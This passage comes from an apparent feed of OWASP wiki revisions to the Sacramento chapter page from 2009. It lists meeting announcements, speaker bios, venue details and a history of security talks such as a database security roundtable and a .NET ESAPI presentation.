2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=75111</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=75111"/>
				<updated>2009-12-12T06:11:39Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad], [mailto:mpetteys@caiso.com Matt Petteys], and [mailto:michael.weber35@gmail.com Michael Weber].|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== Next Meeting: TBD ==&lt;br /&gt;
&lt;br /&gt;
The chapter indicated that the &amp;quot;Secure Software Development Lifecycle&amp;quot; was the most desirable topic for the next meeting.  We are looking for a speaker.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-12-09: Alex Smolen presented &amp;quot;The OWASP .NET ESAPI&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=73565</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=73565"/>
				<updated>2009-11-17T08:03:35Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== December 9, 2009, 6-8 pm: The OWASP .NET ESAPI Project ==&lt;br /&gt;
&lt;br /&gt;
Pizza and drinks will be provided by the chapter.&lt;br /&gt;
&lt;br /&gt;
* TOPIC: &lt;br /&gt;
&lt;br /&gt;
The Enterprise Security Application Programming Interface, or [[ESAPI]], is a one-stop security shop for developers looking to implement security mechanisms in their code. The brainchild of Jeff Williams, one of the founders of OWASP, the ESAPI is an open source project that has gained traction with organizations looking to implement secure applications using tried and tested code that is also well organized and consistent. It includes functionality for validating and encoding data, authenticating and authorizing users, logging, error handling, and more. The API includes a Java reference implementation that can be extended to allow any organization to integrate security functionality into their Java/JEE applications.&lt;br /&gt;
&lt;br /&gt;
But what about .NET? Many organizations are banking on the powerful Microsoft programming framework to help them deliver robust and secure software. However, like Java, .NET tends to leave it up to the end-user programmers to get security code right. The OWASP .NET ESAPI project intends to help .NET developers avoid introducing security vulnerabilities into their code by providing a full port of the original ESAPI project from Java to C#.&lt;br /&gt;
&lt;br /&gt;
This talk will explore the gains, gripes, and gotchas of converting the ESAPI to .NET from the .NET ESAPI project lead himself. It will discuss features of the .NET frameworks security model, key differences between the Java and .NET platforms, and ASP.NET web security issues. Additionally, future ideas for .NET specific functionality will be proposed and discussed. Participation and feedback from the attendees is expected and encouraged.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* SPEAKER:&lt;br /&gt;
&lt;br /&gt;
Alex Smolen is a former Software Security Consultant at Foundstone, where he provided security consulting services to clients to help find, fix, and prevent security vulnerabilities in enterprise software. His duties include threat modeling, code review, penetration testing, and secure software development lifecycle (S-SDLC) design and implementation. He is also an instructor for the Writing Secure Code, Building Secure Software, and Ultimate Web Hacking courses.&lt;br /&gt;
&lt;br /&gt;
Alex has been working in software development for a decade and has participated in and led several development projects in ASP.NET, Java, and Ruby on Rails. His primary interests include the integration of security into software development life cycles, evaluating the business impact of information security, and the security of emerging technologies. Alex is a contributing member of the software security community and has participated in several open-source security projects.&lt;br /&gt;
&lt;br /&gt;
Prior to Foundstone, Alex was the Security Solutions Manager at Parasoft Corporation, where he led the development of tools and methodologies for helping clients ensure application security from the ground up.  He is currently pursuing a graduate degree at UC Berkeley and holds a BS in Electrical Engineering and Computer Science.&lt;br /&gt;
&lt;br /&gt;
Alex is one of 24 recipients worldwide of the Microsoft MVP Award for Visual Developer and is the the author of the Hacme Casino security training application.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: &lt;br /&gt;
&lt;br /&gt;
Please [http://fs17.formsite.com/rhustad/form444133929/index.html RSVP] for this event. Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670  &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=71283</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=71283"/>
				<updated>2009-10-09T22:53:11Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== Next meeting TBD - Q4 2009 ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is TBD.  The topic will most likely be &amp;quot;.NET Secure Programming.&amp;quot;    &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-10-08: Ned Allison chaired a roundtable on &amp;quot;Database Security&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70017</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70017"/>
				<updated>2009-09-29T06:40:58Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is on Thursday October 8th at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. Snacks and drinks will be provided.  PLEASE  [http://fs17.formsite.com/rhustad/form204008265 RSVP here.]&lt;br /&gt;
&lt;br /&gt;
*TOPIC: A roundtable discussion on Database Security will be chaired by Ned Allison, a local DBA who specializes in information security.  Mr. Allison will give a short overview of database security and then the floor will be open to discussion and questions.  Topics that may be covered include:&lt;br /&gt;
** Database server hardening&lt;br /&gt;
** Database authentication protocols&lt;br /&gt;
** Database authentication patterns (identity delegation, trusted subsystem)&lt;br /&gt;
** Database access control&lt;br /&gt;
** Secure schema design&lt;br /&gt;
** Best practices for data consumers&lt;br /&gt;
** Best practices for developers&lt;br /&gt;
** Bring your own database security topic&lt;br /&gt;
&lt;br /&gt;
The emphasis will be on practical tips that you can implement immediately. We expect that a number of DBAs, developers, and security professionals will attend so there will be a lot of people to learn from and network with.  For an orientation to the topic, see the OWASP Backend Security Project at http://www.owasp.org/index.php/OWASP_Backend_Security_Project &lt;br /&gt;
&lt;br /&gt;
* SPEAKER: Ned Allison has 30 years of database experience and 20 years of security experience.  He is an Information Security Engineer/Architect at the Legislative Counsel of California, Legislative Data Center.&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670  &lt;br /&gt;
&lt;br /&gt;
[http://fs17.formsite.com/rhustad/form204008265 RSVP for this event]&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70016</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70016"/>
				<updated>2009-09-29T06:39:34Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: /* NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is on Thursday October 8th at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. Snacks and drinks will be provided.  PLEASE  [http://fs17.formsite.com/rhustad/form204008265 RSVP here.]&lt;br /&gt;
&lt;br /&gt;
A roundtable discussion on Database Security will be chaired by Ned Allison, a local DBA who specializes in information security.  Mr. Allison will give a short overview of database security and then the floor will be open to discussion and questions.  Topics that may be covered include:&lt;br /&gt;
* Database server hardening&lt;br /&gt;
* Database authentication protocols&lt;br /&gt;
* Database authentication patterns (identity delegation, trusted subsystem)&lt;br /&gt;
* Database access control&lt;br /&gt;
* Secure schema design&lt;br /&gt;
* Best practices for data consumers&lt;br /&gt;
* Best practices for developers&lt;br /&gt;
* Bring your own database security topic&lt;br /&gt;
&lt;br /&gt;
The emphasis will be on practical tips that you can implement immediately. We expect that a number of DBAs, developers, and security professionals will attend so there will be a lot of people to learn from and network with.  For an orientation to the topic, see the OWASP Backend Security Project at http://www.owasp.org/index.php/OWASP_Backend_Security_Project &lt;br /&gt;
&lt;br /&gt;
Ned Allison has 30 years of database experience and 20 years of security experience.  He is an Information Security Engineer/Architect at the Legislative Counsel of California, Legislative Data Center.&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670  &lt;br /&gt;
&lt;br /&gt;
[http://fs17.formsite.com/rhustad/form204008265 RSVP for this event]&lt;br /&gt;
&lt;br /&gt;
== Past Meetings ==&lt;br /&gt;
2009-07-30: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on Cross-Site Scripting&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2009-05-12: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;Hands-on SQL Injection&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-10-30: Joy Forsythe from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Voting Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-07-31: [mailto:roman.hustad@yahoo.com Roman Hustad] presented &amp;quot;How to Test the Security of Web Applications.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-06-26: Shan Zhou from [http://www.imperva.com/ Imperva] presented &amp;quot;Database Security.&amp;quot;&lt;br /&gt;
&lt;br /&gt;
2008-04-03: Ryan C. Barnett from [http://www.breach.com/ Breach Security] presented &amp;quot;Passive Web Application Defect Identification.&amp;quot; &lt;br /&gt;
&lt;br /&gt;
2007-11-29: [mailto:roman.hustad@yahoo.com Roman Hustad] from [http://www.foundstone.com Foundstone] presented &amp;quot;Web Application Hacking&amp;quot; to over 40 attendees.&lt;br /&gt;
&lt;br /&gt;
2007-08-30: Barmak Meftah from [http://www.fortifysoftware.com Fortify Software] presented &amp;quot;Hack proof your Service-Oriented Architecture&amp;quot; to 15 attendees.&lt;br /&gt;
&lt;br /&gt;
== Local News ==&lt;br /&gt;
2007-08-02: OWASP Sacramento is requesting votes for the preferred March topic using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey2.html  OWASP Sacramento March Topic Survey].  This meeting will be sponsored by [http://www.breach.com  Breach Security].&lt;br /&gt;
&lt;br /&gt;
2007-10-01: We have rescheduled the next meeting for November 29th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-15: We have rescheduled the next meeting for August 30th 2007.  Please contact [mailto:mpetteys@caiso.com Matt Petteys] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
2007-07-01: OWASP Sacramento is requesting comments on future topics using the following URL. [http://www.yellowguppy.com/~mpetteys/sacowaspsurvey1.html  OWASP Sacramento Topic Survey]&lt;br /&gt;
&lt;br /&gt;
2006-06-27: OWASP Sacramento is planning a public presentation in late August 2007.  Contact the [mailto:bobhome@dslextreme.com chapter leader] with questions or suggestions.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:California]]&lt;/div&gt;</summary>
		<author><name>Roman</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70015</id>
		<title>Sacramento</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Sacramento&amp;diff=70015"/>
				<updated>2009-09-29T06:38:28Z</updated>
		
		<summary type="html">&lt;p&gt;Roman: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Chapter Template|chaptername=Sacramento|extra=The chapter leaders are [mailto:roman.hustad@yahoo.com Roman Hustad] and [mailto:mpetteys@caiso.com Matt Petteys].&lt;br /&gt;
&amp;lt;paypal&amp;gt;Sacramento&amp;lt;/paypal&amp;gt;&lt;br /&gt;
|mailinglistsite=http://lists.owasp.org/mailman/listinfo/owasp-sacramento|emailarchives=http://lists.owasp.org/pipermail/owasp-sacramento}}&lt;br /&gt;
&lt;br /&gt;
== Charter ==&lt;br /&gt;
The Sacramento OWASP Chapter promotes the [[About_The_Open_Web_Application_Security_Project|principles of OWASP]] in our local community with an emphasis on education, local networking opportunities, and fun.  Meetings are typically on the last Thursday evening of the month. &lt;br /&gt;
&lt;br /&gt;
== NEXT MEETING: DATABASE SECURITY - Thursday October 8, 2009  6:00-8:00pm ==&lt;br /&gt;
&lt;br /&gt;
The next OWASP Sacramento meeting is on Thursday October 8th at 6pm.  This meeting will be hosted at EDS Medi-Cal in Rancho Cordova, CA. Snacks and drinks will be provided.  PLEASE RSVP at [http://fs17.formsite.com/rhustad/form204008265]&lt;br /&gt;
&lt;br /&gt;
A roundtable discussion on Database Security will be chaired by Ned Allison, a local DBA who specializes in information security.  Mr. Allison will give a short overview of database security and then the floor will be open to discussion and questions.  Topics that may be covered include:&lt;br /&gt;
* Database server hardening&lt;br /&gt;
* Database authentication protocols&lt;br /&gt;
* Database authentication patterns (identity delegation, trusted subsystem)&lt;br /&gt;
* Database access control&lt;br /&gt;
* Secure schema design&lt;br /&gt;
* Best practices for data consumers&lt;br /&gt;
* Best practices for developers&lt;br /&gt;
* Bring your own database security topic&lt;br /&gt;
&lt;br /&gt;
The emphasis will be on practical tips that you can implement immediately. We expect that a number of DBAs, developers, and security professionals will attend so there will be a lot of people to learn from and network with.  For an orientation to the topic, see the OWASP Backend Security Project at http://www.owasp.org/index.php/OWASP_Backend_Security_Project &lt;br /&gt;
&lt;br /&gt;
Ned Allison has 30 years of database experience and 20 years of security experience.  He is an Information Security Engineer/Architect at the Legislative Counsel of California, Legislative Data Center.&lt;br /&gt;
&lt;br /&gt;
* LOCATION INFORMATION: Upon arriving at the main entrance, please ask for Robert Grill, office: 916-636-4392, cell: 916-997-9892. Any problems, please contact Roman Hustad, 916-402-0620&lt;br /&gt;
*: EDS Medi-Cal [http://maps.google.com/maps?f=q&amp;amp;hl=en&amp;amp;geocode=&amp;amp;q=%3D3215+Prospect+Park+Drive,Rancho+Cordova,+CA+95670&amp;amp;sll=37.0625,-95.677068&amp;amp;sspn=51.443116,107.753906&amp;amp;ie=UTF8&amp;amp;om=1&amp;amp;ll=38.58885,-121.275437&amp;amp;spn=0.01117,0.019956&amp;amp;t=k&amp;amp;z=16&amp;amp;iwloc=addr (map)]   &lt;br /&gt;
*: 3215 Prospect Park Drive   &lt;br /&gt;
*: Rancho Cordova , CA   &lt;br /&gt;
*: 95670  &lt;br /&gt;
